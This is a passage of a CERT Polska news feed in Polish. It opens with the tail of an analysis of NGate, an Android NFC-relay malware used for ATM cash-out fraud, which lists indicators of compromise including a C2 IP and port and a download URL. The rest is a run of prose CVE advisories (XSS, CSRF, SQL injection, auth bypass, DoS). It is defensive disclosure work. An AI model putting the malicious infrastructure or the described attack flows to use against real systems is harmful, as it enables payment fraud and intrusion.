2. &lt;strong&gt;Emiter&lt;/strong&gt; telefon przy bankomacie (HCE do terminala), połączony tym samym modelem kodu operacyjnego – klasyczna topologia &lt;strong&gt;NFC relay&lt;/strong&gt;.&lt;/p&gt;
&lt;h4&gt;Summary&lt;/h4&gt;
&lt;p&gt;NGate to złośliwe oprogramowanie dla systemu Android, które wykorzystuje przekaźnik NFC do wypłacania gotówki z bankomatów przy użyciu kart ofiar. Jest ono dostarczane za pomocą phishingu oraz telefonu od „wsparcia bankowego”, który naciska na użytkownika, aby zainstalował aplikację, przyłożył kartę do telefonu i wprowadził PIN. Aplikacja działa w trybie czytnika, aby przechwycić EMV APDU i PIN, a następnie przesyła je za pomocą prostego protokołu TCP do zakodowanego na stałe C2; ta sama rodzina dostarcza również usługę HCE kategorii płatności, umożliwiającą pełnienie roli nadajnika w bankomacie. Konfiguracja jest przechowywana jako zasób zaszyfrowany algorytmem XOR z kluczem pochodzącym z certyfikatu podpisującego APK (SHA-256); w tej próbce prowadzi to do jawnego C2. Wniosek: po przyłożeniu karty i wpisaniu PINu napastnik może przekazać sesję i wypłacić gotówkę.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Kluczowe wnioski&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Inżynieria społeczna → aplikacja pobrana z innego źródła → dotknięcie karty + PIN → przekazanie do bankomatu.&lt;/li&gt;
&lt;li&gt;Obsługiwane role: czytnik (telefon ofiary) i emiter (telefon atakującego/strona bankomatu).&lt;/li&gt;
&lt;li&gt;Konfiguracja odszyfrowana z zasobów /____ przy użyciu SHA-256(cert) jako klucza XOR.&lt;/li&gt;
&lt;li&gt;Ramki tekstu jawnego w sieci (len|opcode|body), okresowe sygnały keep-alive.&lt;/li&gt;
&lt;li&gt;Co opuszcza urządzenie: PAN, data ważności, AID, APDU i PIN.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;IOC&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;2cee3f603679ed7e5f881588b2e78ddc&lt;/span&gt;
&lt;span class="err"&gt;701e6905e1adf78e6c59ceedd93077f3&lt;/span&gt;
&lt;span class="err"&gt;2cb20971a972055187a5d4ddb4668cc2&lt;/span&gt;
&lt;span class="err"&gt;b0a5051df9db33b8a1ffa71742d4cb09&lt;/span&gt;
&lt;span class="err"&gt;bcafd5c19ffa0e963143d068c8efda92&lt;/span&gt;
&lt;span class="err"&gt;91.84.97.13:5653&lt;/span&gt;
&lt;span class="err"&gt;files[.]fm/u/yfwsanu886&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="News"></category><category term="nfc"></category><category term="analysis"></category><category term="android"></category><category term="analiza"></category></entry><entry><title>Podatność w oprogramowaniu Eveo URVE Smart Office</title><link href="https://cert.pl/posts/2025/10/CVE-2025-10348/" rel="alternate"></link><published>2025-10-30T13:55:00+01:00</published><updated>2025-10-30T13:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-10-30:/posts/2025/10/CVE-2025-10348/</id><summary type="html">W oprogramowaniu Eveo URVE Smart Office wykryto podatność typu Cross-site Scripting (CVE-2025-10348).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Eveo URVE Smart Office i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-10348"&gt;CVE-2025-10348&lt;/a&gt;: URVE Smart Office jest podatny na atak typu Stored XSS w funkcji zgłaszania problemu. Atakujący posiadający konto o niskich uprawnieniach może przesłać plik SVG zawierający złośliwy kod, który zostanie wykonany, gdy ofiara odwiedzi adres URL przesłanego zasobu. Zasób ten jest dostępny dla każdego, bez jakiejkolwiek formy uwierzytelnienia.&lt;/p&gt;
&lt;p&gt;Problem został naprawiony w wersji 1.1.24.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Annie Błaszczak i Ksaweremu Kehl z Alior Banku.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu OpenSolution Quick.Cart</title><link href="https://cert.pl/posts/2025/10/CVE-2025-10317/" rel="alternate"></link><published>2025-10-30T11:55:00+01:00</published><updated>2025-10-30T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-10-30:/posts/2025/10/CVE-2025-10317/</id><summary type="html">W oprogramowaniu OpenSolution Quick.Cart wykryto podatność typu Cross-Site Request Forgery (CSRF) (CVE-2025-10317).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu OpenSolution Quick.Cart i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-10317"&gt;CVE-2025-10317&lt;/a&gt;: Quick.Cart jest podatny na atak typu Cross-Site Request Forgery (CSRF) w funkcji tworzenia produktu. Złośliwy atakujący może przygotować specjalną stronę internetową, która po odwiedzeniu przez administratora automatycznie wyśle żądanie POST, tworząc produkt o treści zdefiniowanej przez atakującego.
Oprogramowanie to nie implementuje żadnych mechanizmów ochronnych przeciwko tego typu atakom. Wszystkie formularze dostępne w tym systemie są potencjalnie podatne.&lt;/p&gt;
&lt;p&gt;Producent został wcześnie poinformowany o tej podatności, jednak nie udzielił odpowiedzi zawierającej szczegóły dotyczące podatności ani zakresu wersji podatnych. Przetestowano i potwierdzono podatność jedynie wersji 6.7 — inne wersje nie zostały sprawdzone i również mogą być podatne.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Łukaszowi "vq4s" Woźniakowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu mMedica firmy Asseco</title><link href="https://cert.pl/posts/2025/10/CVE-2025-9313/" rel="alternate"></link><published>2025-10-28T11:55:00+01:00</published><updated>2025-10-28T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-10-28:/posts/2025/10/CVE-2025-9313/</id><summary type="html">W oprogramowaniu mMedica firmy Asseco Poland S.A. wykryto podatność typu Authentication Bypass Using an Alternate Path or Channel i nadano jej identyfikator CVE-2025-9313.</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu mMedica firmy Asseco Poland S.A. i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-9313"&gt;CVE-2025-9313&lt;/a&gt;: Nieuwierzytelniony użytkownik może połączyć się z publicznie dostępną bazą danych, używając dowolnych danych uwierzytelniających. System zapewnia pełny dostęp do bazy danych, wykorzystując wcześniej uwierzytelnione połączenie za pośrednictwem aplikacji &lt;code&gt;mmBackup&lt;/code&gt;. Ta luka umożliwia atakującym ominięcie mechanizmów uwierzytelniania i uzyskanie nieautoryzowanego dostępu do bazy danych zawierającej poufne dane.&lt;/p&gt;
&lt;p&gt;W wersji systemu mMedica 11.9.5 podatność została usunięta i dotyczy wyłącznie wersji poniżej 11.9.5&lt;/p&gt;
&lt;p&gt;Producent zaleca jak najszybszą aktualizację systemu.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu Studio Fabryka DobryCMS</title><link href="https://cert.pl/posts/2025/10/CVE-2025-8536/" rel="alternate"></link><published>2025-10-24T11:55:00+01:00</published><updated>2025-10-24T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-10-24:/posts/2025/10/CVE-2025-8536/</id><summary type="html">W oprogramowaniu Studio Fabryka DobryCMS wykryto podatność typu 'SQL Injection' (CVE-2025-8536).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Studio Fabryka DobryCMS i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-8536"&gt;CVE-2025-8536&lt;/a&gt;: Zidentyfikowano podatność typu SQL Injection w DobryCMS. Niewłaściwa neutralizacja danych wejściowych dostarczonych przez użytkownika w funkcjonalności językowej umożliwia przeprowadzenie ataków typu SQL Injection.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Dawidowi Radzińskiemu z RED SECURITY.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu Request Tracker</title><link href="https://cert.pl/posts/2025/10/CVE-2025-9158/" rel="alternate"></link><published>2025-10-24T07:55:00+01:00</published><updated>2025-10-24T07:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-10-24:/posts/2025/10/CVE-2025-9158/</id><summary type="html">W oprogramowaniu Request Tracker firmy Best Practical wykryto podatność typu XSS i nadano jej identyfikator CVE-2025-9158.</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska w ramach badań własnych znalazł podatność w oprogramowaniu Request Tracker firmy Best Practical i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-9158"&gt;CVE-2025-9158&lt;/a&gt;: Request Tracker zawiera podatność typu Stored XSS w funkcji obsługującej zaproszenia kalendarza, która wyświetla dane zaproszenia bez oczyszczania kodu HTML. Podatność umożliwia atakującemu wysłanie specjalnie spreparowanego e-maila umożliwiającego wykonanie kodu JavaScript poprzez wyświetlenie zgłoszenia w kontekście zalogowanego użytkownika.&lt;/p&gt;
&lt;p&gt;Podatność dotyczy wersji od 5.0.4 do 5.0.8 włącznie oraz od 6.0.0 do 6.0.1 włącznie.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu kamer Vilar VS-IPC1002</title><link href="https://cert.pl/posts/2025/10/CVE-2025-53701/" rel="alternate"></link><published>2025-10-23T11:55:00+01:00</published><updated>2025-10-23T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-10-23:/posts/2025/10/CVE-2025-53701/</id><summary type="html">W oprogramowaniu Vilar VS-IPC1002 wykryto 2 podatności różnego typu (CVE-2025-53701 oraz CVE-2025-53702)</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu kamer Vilar VS-IPC1002 i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-53701"&gt;CVE-2025-53701&lt;/a&gt;: Kamery IP Vilar VS-IPC1002 są podatne na ataki typu Reflected XSS (Cross-site Scripting), ponieważ parametry w zapytaniach GET wysyłanych do endpointu &lt;code&gt;/cgi-bin/action&lt;/code&gt; nie są odpowiednio oczyszczane. Umożliwia to atakowanie zalogowanych użytkowników z uprawnieniami administratora.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-53702"&gt;CVE-2025-53702&lt;/a&gt;: Kamery IP Vilar VS-IPC1002 są podatne na ataki typu DoS (Denial-of-Service). Nieuwierzytelniony atakujący znajdujący się w tej samej sieci lokalnej może wysłać spreparowane żądanie do endpointu &lt;code&gt;/cgi-bin/action&lt;/code&gt;, co powoduje całkowitą niedostępność urządzenia. Wymagany jest ręczny restart kamery.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Producent nie udzielił żadnej odpowiedzi. Przetestowano jedynie wersję 1.1.0.18 - inne wersje również mogą być podatne.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Szymonowi Paszunowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu OpenSolution QuickCMS</title><link href="https://cert.pl/posts/2025/10/CVE-2025-9980/" rel="alternate"></link><published>2025-10-23T11:55:00+01:00</published><updated>2025-10-23T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-10-23:/posts/2025/10/CVE-2025-9980/</id><summary type="html">W oprogramowaniu OpenSolution QuickCMS wykryto 2 podatności typu Cross-site Scripting (od CVE-2025-9980 do CVE-2025-9981)</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu OpenSolution QuickCMS i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-9980"&gt;CVE-2025-9980&lt;/a&gt;: QuickCMS jest podatny na wiele ataków typu Stored XSS w funkcjonalności edytora stron &lt;code&gt;pages-form&lt;/code&gt;. Atakujący posiadający uprawnienia administratora może wstrzyknąć dowolny kod HTML i JavaScript do witryny, który zostanie wyrenderowany/wykonany podczas odwiedzania edytowanej strony. Domyślnie użytkownik z uprawnieniami administratora nie ma możliwości dodawania JavaScriptu do witryny.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-9981"&gt;CVE-2025-9981&lt;/a&gt;: QuickCMS jest podatny na wiele ataków typu Stored XSS w funkcjonalności edytora sliderów &lt;code&gt;sliders-form&lt;/code&gt;. Atakujący posiadający uprawnienia administratora może wstrzyknąć dowolny kod HTML i JavaScript do witryny, który zostanie wyrenderowany/wykonany na każdej stronie. Domyślnie użytkownik z uprawnieniami administratora nie ma możliwości dodawania JavaScriptu do witryny.&lt;/p&gt;
&lt;p&gt;Producent został wcześnie poinformowany o tej podatności, jednak nie udzielił informacji na temat szczegółów podatności ani zakresu wersji podatnych na atak. Przetestowano i potwierdzono podatność jedynie w wersji 6.8 — inne wersje nie były testowane i również mogą być podatne.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Bartłomiejowi "Holl0w" Adamskiemu.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu SIMPLE.ERP</title><link href="https://cert.pl/posts/2025/10/CVE-2025-9339/" rel="alternate"></link><published>2025-10-21T11:55:00+01:00</published><updated>2025-10-21T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-10-21:/posts/2025/10/CVE-2025-9339/</id><summary type="html">W oprogramowaniu SIMPLE.ERP wykryto podatność typu SQL Injection i nadano jej identyfikator CVE-2025-9339.</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu SIMPLE.ERP firmy Simple SA i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-9339"&gt;CVE-2025-9339&lt;/a&gt;: Podatność typu SQL injection w polach formularza filtrowania dokumentów magazynowych w oprogramowaniu SIMPLE.ERP umożliwia zalogowanemu użytkownikowi wstrzyknięcie złośliwego zapytania. Zakres potencjalnego wykorzystania jest ograniczony limitem 20 znaków w polach formularza. Zidentyfikowany przypadek użycia pozwala na usuwanie tabel o nazwie składającej się maksymalnie z 6 znaków. Nie znaleziono sposobu na odczytanie danych w ramach dostępnego limitu znaków.&lt;/p&gt;
&lt;p&gt;Problem ten dotyczy wersji SIMPLE.ERP wcześniejszych niż 6.30@a04.3.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Kamilowi Dąbkowskiemu.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu NetBird VPN</title><link href="https://cert.pl/posts/2025/10/CVE-2025-10678/" rel="alternate"></link><published>2025-10-20T11:55:00+01:00</published><updated>2025-10-20T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-10-20:/posts/2025/10/CVE-2025-10678/</id><summary type="html">W oprogramowaniu NetBird VPN wykryto podatność typu Use of Default Credentials (CVE-2025-10678).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu NetBird VPN i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-10678"&gt;CVE-2025-10678&lt;/a&gt;: Skrypt dostarczony przez producenta wykorzystywany do zainstalowania NetBird VPN nie usuwał ani nie zmieniał domyślnego hasła konta administratora utworzonego przez ZITADEL - domyślnego dostawcę tożsamości.
Problem dotyczy instancji zainstalowanych przy użyciu tego skryptu oraz może dotyczyć instancji, które korzystały z obrazu Dockera, jeśli domyślne hasło nie zostało zmienione ani użytkownik nie został usunięty.&lt;/p&gt;
&lt;p&gt;Ten problem został usunięty w wersji 0.57.0&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Adamowi Sobierajowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu Strapi</title><link href="https://cert.pl/posts/2025/10/CVE-2025-3930/" rel="alternate"></link><published>2025-10-16T11:55:00+01:00</published><updated>2025-10-16T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-10-16:/posts/2025/10/CVE-2025-3930/</id><summary type="html">W oprogramowaniu Strapi wykryto podatność typu Insufficient Session Expiration (CVE-2025-3930).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Strapi i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-3930"&gt;CVE-2025-3930&lt;/a&gt;: Strapi używa tokenów JWT (JSON Web Tokens) do uwierzytelniania. Po wylogowaniu lub dezaktywacji konta token JWT nie jest unieważniany, co pozwala atakującemu, który go przechwycił lub ukradł, na jego swobodne ponowne użycie aż do daty wygaśnięcia (domyślnie ustawionej na 30 dni, domyślną wartość można zmienić).
Istnienie punktu końcowego &lt;code&gt;/admin/renew-token&lt;/code&gt; umożliwia każdemu odnawianie tokenów bliskich wygaśnięcia w nieskończoność, co dodatkowo zwiększa skalę tego ataku.&lt;/p&gt;
&lt;p&gt;Problem został naprawiony w wersji 5.24.1.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Arkadiuszowi Marcie.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Dawka informacji o cyberzagrożeniach – premiera raportów miesięcznych CERT Polska</title><link href="https://cert.pl/posts/2025/10/raport-miesieczny-09/" rel="alternate"></link><published>2025-10-15T15:00:00+02:00</published><updated>2025-10-15T15:00:00+02:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-10-15:/posts/2025/10/raport-miesieczny-09/</id><summary type="html">Opublikowaliśmy właśnie pierwszy raport miesięczny, podsumowujący nasze działania i obserwacje za wrzesień 2025. To początek nowej formuły komunikacji – chcemy regularnie informować o najważniejszych incydentach, trendach i aktywnościach zespołu.</summary><content type="html">&lt;p&gt;&lt;a href="/uploads/docs/Podsumowanie_CSIRT_NASK_2025_09.pdf" class="report-download"&gt;
  &lt;img src="/uploads/docs/covers/Podsumowanie_CSIRT_NASK_2025_09.pdf.jpg" alt="okładka"&gt;
  &lt;span class="caption"&gt;Pobierz raport (PDF, 1.4MB)&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Opublikowaliśmy właśnie pierwszy raport miesięczny, podsumowujący nasze działania i obserwacje za wrzesień 2025. To początek nowej formuły komunikacji – chcemy regularnie informować o najważniejszych incydentach, trendach i aktywnościach zespołu. &lt;/p&gt;
&lt;p&gt;Raporty będą publikowane cyklicznie – co miesiąc, prezentując m.in.:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;statystyki obsłużonych incydentów,&lt;/li&gt;
&lt;li&gt;najważniejsze zagrożenia i kampanie,&lt;/li&gt;
&lt;li&gt;działania zespołu w zakresie współpracy i edukacji, &lt;/li&gt;
&lt;li&gt;rekomendacje dla użytkowników i instytucji. &lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;To narzędzie, które ma wspierać budowanie świadomości cyberbezpieczeństwa w&amp;nbsp;Polsce i&amp;nbsp;ułatwiać dostęp do aktualnych i rzetelnych informacji o stanie zagrożeń.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;— podkreśla Marcin Dudek, kierownik zespołu CERT Polska. Dodaje, że dane w&amp;nbsp;ujęciu miesięcznym dobrze pokazują trendy, ale jednocześnie pozostają aktualne. &lt;/p&gt;
&lt;h4&gt;Chcesz być na bieżąco?&lt;/h4&gt;
&lt;p&gt;Zachęcamy do &lt;a href="https://moje.cert.pl/komunikaty/subskrybuj/"&gt;zapisania się&lt;/a&gt; na powiadomienia o nowych raportach poprzez platformę &lt;a href="https://moje.cert.pl"&gt;moje.cert.pl&lt;/a&gt;. Dzięki temu nie przegapisz żadnej publikacji i będziesz otrzymywać informacje bezpośrednio na swoją skrzynkę.&lt;/p&gt;
&lt;p&gt;Wszystkie opublikowane dotychczas raporty znajdują się na &lt;a href="https://cert.pl/publikacje/"&gt;podstronie z naszymi publikacjami&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Dobrej lektury!&lt;/p&gt;
&lt;style&gt;
.article .report-download {
  vertical-align: top;
  display: inline-block;
  text-align: center;
  margin: 5px 0 5px 20px;
  float: right;
}
.article .report-download img {
  width: 100%;
  max-width: 350px;
  margin: 0 0 10px 0;
}
.article .report-download .caption {
  display: block;
  font-weight: bold;
  font-size: 1.5em;
}
&lt;/style&gt;</content><category term="News"></category><category term="raport miesieczny"></category><category term="csirt nask"></category><category term="raport"></category></entry><entry><title>Podatności w oprogramowaniu PAD CMS</title><link href="https://cert.pl/posts/2025/09/CVE-2025-7063/" rel="alternate"></link><published>2025-09-30T11:55:00+01:00</published><updated>2025-09-30T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-09-30:/posts/2025/09/CVE-2025-7063/</id><summary type="html">W oprogramowaniu PAD CMS wykryto 9 podatności różnego typu (CVE-2025-7063, CVE-2025-7065 oraz od CVE-2025-8116 do CVE-2025-8122)</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska koordynował proces ujawniania informacji o 9 podatnościach w oprogramowaniu PAD CMS.&lt;/p&gt;
&lt;h4&gt;Zgłoszone podatności&lt;/h4&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-7063"&gt;CVE-2025-7063&lt;/a&gt;: Ze względu na kontrolowany przez klienta parametr sprawdzający uprawnienia, funkcjonalność wgrywania plików w PAD CMS pozwala nieuwierzytelnionemu zdalnemu atakującemu na przesyłanie plików dowolnego typu i z dowolnym rozszerzeniem, co może prowadzić do zdalnego wykonania kodu.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-7065"&gt;CVE-2025-7065&lt;/a&gt;: Ze względu na kontrolowany przez klienta parametr sprawdzający uprawnienia, funkcjonalność wgrywania zdjęć w PAD CMS pozwala nieuwierzytelnionemu zdalnemu atakującemu na przesyłanie plików dowolnego typu i rozszerzeniu, co może prowadzić do zdalnego wykonania kodu.&lt;/p&gt;
&lt;h4&gt;Badania własne&lt;/h4&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-8116"&gt;CVE-2025-8116&lt;/a&gt;: PAD CMS jest podatny na atak typu Reflected XSS w funkcjonalności drukowania oraz zapisu do PDF. Złośliwy atakujący może przygotować specjalny adres URL, który po otwarciu spowoduje wykonanie dowolnego kodu JavaScript w przeglądarce ofiary.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-8117"&gt;CVE-2025-8117&lt;/a&gt;: PAD CMS niepoprawnie inicjalizuje parametr używany do odzyskiwania hasła, co umożliwia zmianę hasła dowolnego użytkownika, który nie skorzystał wcześniej z funkcji resetowania hasła.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-8118"&gt;CVE-2025-8118&lt;/a&gt;: PAD CMS niepoprawnie implementuję ochronę przed atakami typu brute-force wykorzystując kontrolowane przez klienta ciasteczka: &lt;code&gt;login_count&lt;/code&gt; oraz &lt;code&gt;login_timeout&lt;/code&gt;. Informacje o liczbie prób logowania oraz czasie blokady nie są przechowywane po stronie serwera, co pozwala złośliwemu atakującemu obejść ochronę przed atakami typu brute-force poprzez resetowanie tych ciasteczek.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-8119"&gt;CVE-2025-8119&lt;/a&gt;: PAD CMS jest podatny na atak typu Cross-Site Request Forgery w funkcji resetowania hasła. Złośliwy atakujący może przygotować specjalną stronę internetową, która po odwiedzeniu przez ofiarę automatycznie wyśle żądanie POST zmieniające hasło aktualnie zalogowanego użytkownika na wartość zdefiniowaną przez atakującego.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-8120"&gt;CVE-2025-8120&lt;/a&gt;: Ze względu na kontrolowany przez klienta parametr sprawdzający uprawnienia, funkcjonalność wgrywania zdjęć w PAD CMS pozwala nieuwierzytelnionemu zdalnemu atakującemu na przesyłanie plików dowolnego typu i rozszerzeniu, co może prowadzić do zdalnego wykonania kodu.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-8121"&gt;CVE-2025-8121&lt;/a&gt;: Nieprawidłowa neutralizacja danych wejściowych dostarczonych przez uwierzytelnionego atakującego w funkcjonalności pozycjonowania artykułów umożliwia ataki typu Blind SQL Injection.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-8122"&gt;CVE-2025-8122&lt;/a&gt;: Nieprawidłowa neutralizacja danych wejściowych dostarczonych przez uwierzytelnionego atakującego w funkcjonalności pozycjonowania artykułów umożliwia ataki typu Blind SQL Injection.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Te podatności występują we wszystkich 3 szablonach: www, bip and www+bip. Wsparcie dla tego produktu się skończyło, w związku z czym producent nie planuje publikacji poprawek dla tych podatności.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności CVE-2025-7063 oraz CVE-2025-7065 dziękujemy Kamilowi Szczurowskiemu i Robertowi Kruczkowi. Pozostałe podatności zostały znalezione w ramach badań własnych CERT Polska.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu CivetWeb</title><link href="https://cert.pl/posts/2025/09/CVE-2025-9648/" rel="alternate"></link><published>2025-09-29T11:55:00+01:00</published><updated>2025-09-29T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-09-29:/posts/2025/09/CVE-2025-9648/</id><summary type="html">W oprogramowaniu CivetWeb wykryto podatność typu Improper Neutralization of NUL Character (CVE-2025-9648).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu CivetWeb i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-9648"&gt;CVE-2025-9648&lt;/a&gt;: Podatność w funkcji &lt;code&gt;mg_handle_form_request&lt;/code&gt; biblioteki CivetWeb umożliwia zdalnym atakującym przeprowadzenie ataku DoS na serwer. Poprzez przesłanie specjalnie spreparowanego żądania HTTP POST zawierającego bajt zerowy (null byte) w treści, serwer wchodzi w nieskończoną pętlę podczas parsowania danych formularza. Wysłanie wielu takich złośliwych żądań prowadzi do całkowitego zużycia zasobów CPU i sprawia, że usługa przestaje odpowiadać na kolejne żądania.&lt;/p&gt;
&lt;p&gt;Problem został rozwiązany w commicie 782e189. Problem dotyczy wyłącznie biblioteki, udostępniany przez producenta plik wykonywalny nie jest podatny na tę lukę.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
